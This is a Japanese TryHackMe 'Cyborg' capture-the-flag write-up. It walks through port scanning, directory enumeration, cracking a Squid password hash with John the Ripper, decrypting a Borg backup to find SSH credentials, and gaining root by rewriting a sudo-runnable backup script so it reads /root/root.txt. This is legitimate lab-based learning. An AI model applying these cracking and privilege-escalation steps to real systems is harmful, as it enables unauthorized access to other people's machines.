TryHackMeのwriteupおよびメモ。
2日間に渡り取り組んだため、標的マシンのIPアドレスがちょいちょい変わっているのはご愛嬌。
- Scan the machine, how many ports are open?
- What service is running on port 22?
- What service is running on port 80?
- What is the user.txt flag?
- What is the root.txt flag?
Scan the machine, how many ports are open?
nmap -Pn -A 10.10.104.147
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ nmap -Pn -A 10.10.104.147
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 08:59 EDT
Nmap scan report for 10.10.104.147
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)
| 256 68:e6:85:2f:69:65:5b:e7:c6:31:2c:8e:41:67:d7:ba (ECDSA)
|_ 256 56:2c:79:92:ca:23:c3:91:49:35:fa:dd:69:7c:ca:ab (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.20 seconds
答えは2。
What service is running on port 22?
答えはssh
What service is running on port 80?
答えはhttp
What is the user.txt flag?
まずはgobuster
でwebサーバーのディレクトリを列挙してみた。
gobuster dir -u http://10.10.104.147 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.10.104.147 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ gobuster dir -u http://10.10.104.147 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.104.147
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 314] [--> http://10.10.104.147/admin/]
/etc (Status: 301) [Size: 312] [--> http://10.10.104.147/etc/]
/admin
と/etc
というディレクトリを発見した。
/admin
にアクセスすると、以下のWeb サイトが表示された。
左上のメニューからAdminsを選択すると、以下のページが表示された。
メニューのArchiveのドロップダウンからDownloadを選択すると、archive.tar
というファイルがダウンロードされた。
archive.tar
を解凍して中身を確認してみた。以下はarchive.tar
から解凍されたファイルとディレクトリである。
┌──(kali㉿kali)-[~/…/home/field/dev/final_archive]
└─$ ls -la
total 76
drwxr-xr-x 3 kali kali 4096 May 25 08:46 .
drwxr-xr-x 3 kali kali 4096 May 24 09:06 ..
-rw------- 1 kali kali 964 Dec 29 2020 config
drwx------ 3 kali kali 4096 Dec 29 2020 data
-rw------- 1 kali kali 54 Dec 29 2020 hints.5
-rw------- 1 kali kali 41258 Dec 29 2020 index.5
-rw------- 1 kali kali 190 Dec 29 2020 integrity.5
-rw------- 1 kali kali 16 Dec 29 2020 nonce
-rw------- 1 kali kali 73 Dec 29 2020 README
README
によると、これらのファイルはBorg Backupによってバックアップされたデータらしい。
┌──(kali㉿kali)-[~/…/home/field/dev/final_archive]
└─$ cat README
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/
これらのファイルの中にフラグは見つからなかった。一部のファイルは暗号化されているようで、中身が確認できなかった。
archive.tar
は一旦置いて、次にWebサーバーの/etc
ディレクトリを覗いてみた。
/etc
の配下にsquid/
というサブディレクトリがあるのが分かる。
squid/
にアクセスすると、passwd
とsquid.conf
というファイルを発見したので、ダウンロードしてみた。
以下はpasswd
の中身。なんらかのハッシュ値が記載されていた。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ cat passwd
music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
squid.conf
の方は、Squidの設定ファイルのようだった。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ cat squid.conf
auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
auth_param basic children 5
auth_param basic realm Squid Basic Authentication
auth_param basic credentialsttl 2 hours
acl auth_users proxy_auth REQUIRED
http_access allow auth_users
John The Ripperでpasswd
に記載されていたハッシュ値をクラックしてみた。
john passwd --wordlist=/usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ john passwd --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
squidward (music_archive)
1g 0:00:00:00 DONE (2024-05-24 09:30) 4.347g/s 169460p/s 169460c/s 169460C/s 112806..samantha5
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
結果、squidward
という単語のハッシュ値であることが判明した。
music_archive:squidward
で標的マシンにSSH接続できるか試してみたが、弾かれてしまった。
ssh music_archive@10.10.104.147
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ ssh music_archive@10.10.104.147
The authenticity of host '10.10.104.147 (10.10.104.147)' can't be established.
ED25519 key fingerprint is SHA256:hJwt8CvQHRU+h3WUZda+Xuvsp1/od2FFuBvZJJvdSHs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.104.147' (ED25519) to the list of known hosts.
music_archive@10.10.104.147's password:
Permission denied, please try again.
music_archive@10.10.104.147's password:
ここで先ほどのarchive.tar
について考えた。
archive.tar
にはBorg Backupによってバックアップされたデータが内包されており、一部のデータは暗号化が施されていた。
もしや、squidward
というのは、バックアップされたデータを復号する際に必要なパスワードなのでは?
さっそくBorgをインストール。
sudo apt install borgbackup
公式のドキュメントを参考に、コマンドを叩いてみた。
まずはlist
コマンドでアーカイブの名前を確認。
borg list /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ borg list /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive
Enter passphrase for key /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive:
music_archive Tue, 2020-12-29 09:00:38 [f789ddb6b0ec108d130d16adebf5713c29faf19c44cad5e1eeb8ba37277b1c82]
コマンドを実行する際にパスフレーズを聞かれたので、squidward
と入力。
結果、music_archive
というアーカイブ名が確認できた。
あとはアーカイブからデータを復元するだけである。extract
コマンドを使って復元することにした。
ドキュメントによると、extract
コマンドを使うにはカレントディレクトリが空である必要があるとのこと。
borg_restore
という空のディレクトリを用意して、そこにデータを復元することにした。
mkdir borg_restore
cd borg_restore
以下のコマンドでデータを復元できた。
borg extract /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive::music_archive
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg/borg_restore]
└─$ borg extract /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive::music_archive
Enter passphrase for key /home/kali/Documents/TryHackMe/Cyborg/home/field/dev/final_archive:
以下は復元されたデータである。どうやら/home/alex
ディレクトリのバックアップらしい。
┌──(kali㉿kali)-[~/…/Cyborg/borg_restore/home/alex]
└─$ pwd
/home/kali/Documents/TryHackMe/Cyborg/borg_restore/home/alex
┌──(kali㉿kali)-[~/…/Cyborg/borg_restore/home/alex]
└─$ ls -la
total 64
drwxr-xr-x 12 kali kali 4096 Dec 29 2020 .
drwx------ 3 kali kali 4096 May 25 08:46 ..
-rw------- 1 kali kali 439 Dec 28 2020 .bash_history
-rw-r--r-- 1 kali kali 220 Dec 28 2020 .bash_logout
-rw-r--r-- 1 kali kali 3637 Dec 28 2020 .bashrc
drwx------ 4 kali kali 4096 Dec 28 2020 .config
drwx------ 3 kali kali 4096 Dec 28 2020 .dbus
drwxrwxr-x 2 kali kali 4096 Dec 29 2020 Desktop
drwxrwxr-x 2 kali kali 4096 Dec 29 2020 Documents
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Downloads
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Music
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Pictures
-rw-r--r-- 1 kali kali 675 Dec 28 2020 .profile
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Public
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Templates
drwxrwxr-x 2 kali kali 4096 Dec 28 2020 Videos
Documents
ディレクトリの中にnote.txt
というファイルを発見。
┌──(kali㉿kali)-[~/…/Cyborg/borg_restore/home/alex]
└─$ cat Documents/note.txt
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!
alex:S3cretP@s3
ユーザーalex
のパスワードが記載されていた。
このユーザー情報を使って、標的マシンにSSH接続できた。
ssh alex@10.10.72.6
┌──(kali㉿kali)-[~/Documents/TryHackMe/Cyborg]
└─$ ssh alex@10.10.72.6
The authenticity of host '10.10.72.6 (10.10.72.6)' can't be established.
ED25519 key fingerprint is SHA256:hJwt8CvQHRU+h3WUZda+Xuvsp1/od2FFuBvZJJvdSHs.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:20: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.72.6' (ED25519) to the list of known hosts.
alex@10.10.72.6's password:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.15.0-128-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
27 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
alex@ubuntu:~$
alex@ubuntu:~$ pwd
/home/alex
alex@ubuntu:~$ whoami
alex
alex@ubuntu:~$ id
uid=1000(alex) gid=1000(alex) groups=1000(alex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
/home/alex
ディレクトリの中にuser.txt
というファイルを発見。このファイルにフラグが記載されていた。
alex@ubuntu:~$ ls -la
total 108
drwx------ 17 alex alex 4096 Dec 31 2020 .
drwxr-xr-x 3 root root 4096 Dec 30 2020 ..
-rw------- 1 alex alex 1145 Dec 31 2020 .bash_history
-rw-r--r-- 1 alex alex 220 Dec 30 2020 .bash_logout
-rw-r--r-- 1 alex alex 3771 Dec 30 2020 .bashrc
drwx------ 13 alex alex 4096 May 25 05:55 .cache
drwx------ 3 alex alex 4096 Dec 30 2020 .compiz
drwx------ 15 alex alex 4096 Dec 30 2020 .config
drwxr-xr-x 2 alex alex 4096 Dec 30 2020 Desktop
-rw-r--r-- 1 alex alex 25 Dec 30 2020 .dmrc
drwxr-xr-x 2 alex alex 4096 Dec 30 2020 Documents
drwxr-xr-x 2 alex alex 4096 Dec 31 2020 Downloads
drwx------ 2 alex alex 4096 Dec 30 2020 .gconf
drwx------ 3 alex alex 4096 Dec 31 2020 .gnupg
-rw------- 1 alex alex 1590 Dec 31 2020 .ICEauthority
drwx------ 3 alex alex 4096 Dec 30 2020 .local
drwx------ 5 alex alex 4096 Dec 30 2020 .mozilla
drwxr-xr-x 2 alex alex 4096 Dec 30 2020 Music
drwxr-xr-x 2 alex alex 4096 Dec 30 2020 Pictures
-rw-r--r-- 1 alex alex 655 Dec 30 2020 .profile
drwxr-xr-x 2 alex alex 4096 Dec 30 2020 Public
-rw-r--r-- 1 alex alex 0 Dec 30 2020 .sudo_as_admin_successful
drwxr-xr-x 2 alex alex 4096 Dec 30 2020 Templates
-r-xr--r-- 1 alex alex 40 Dec 30 2020 user.txt
drwxr-xr-x 2 alex alex 4096 Dec 30 2020 Videos
-rw------- 1 alex alex 51 Dec 31 2020 .Xauthority
-rw------- 1 alex alex 82 Dec 31 2020 .xsession-errors
-rw------- 1 alex alex 82 Dec 31 2020 .xsession-errors.old
What is the root.txt flag?
sudo -l
を叩いて、ユーザーalex
がsudo
オプションつきで実行できるコマンドを確認してみた。
alex@ubuntu:~$ sudo -l
Matching Defaults entries for alex on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alex may run the following commands on ubuntu:
(ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
どうやら/etc/mp3backups/backup.sh
というスクリプトをsudo
オプションつきで実行できる模様。
確認したところ、スクリプトの所有者はalex
になっていた。
alex@ubuntu:~$ ls -l /etc/mp3backups/backup.sh
-r-xr-xr-- 1 alex alex 1083 Dec 30 2020 /etc/mp3backups/backup.sh
以下はbackup.sh
の中身。
alex@ubuntu:~$ cat /etc/mp3backups/backup.sh
#!/bin/bash
sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt
input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
#a="/etc/mp3backups/backed_up_files.txt"
# b=$(basename $input)
#echo
# echo "$line"
#done < "$input"
while getopts c: flag
do
case "${flag}" in
c) command=${OPTARG};;
esac
done
backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"
# Where to backup to.
dest="/etc/mp3backups/"
# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
cmd=$($command)
echo $cmd
ファイルのバックアップを行うためのスクリプトらしい。
backup.sh
を以下のように書き換えた。(ファイルを編集するにはchmod
コマンドで書き込み権を付与する必要がある。)
alex@ubuntu:/etc/mp3backups$ cat backup.sh
#!/bin/bash
flag=$(cat /root/root.txt)
echo $flag
/root/root.txt
(ファイルパスは決め打ち)の中身を表示するようにスクリプトを書き換えた。
sudo ./backup.sh
でスクリプトを実行したところ、/root/root.txt
からフラグを読み出せた。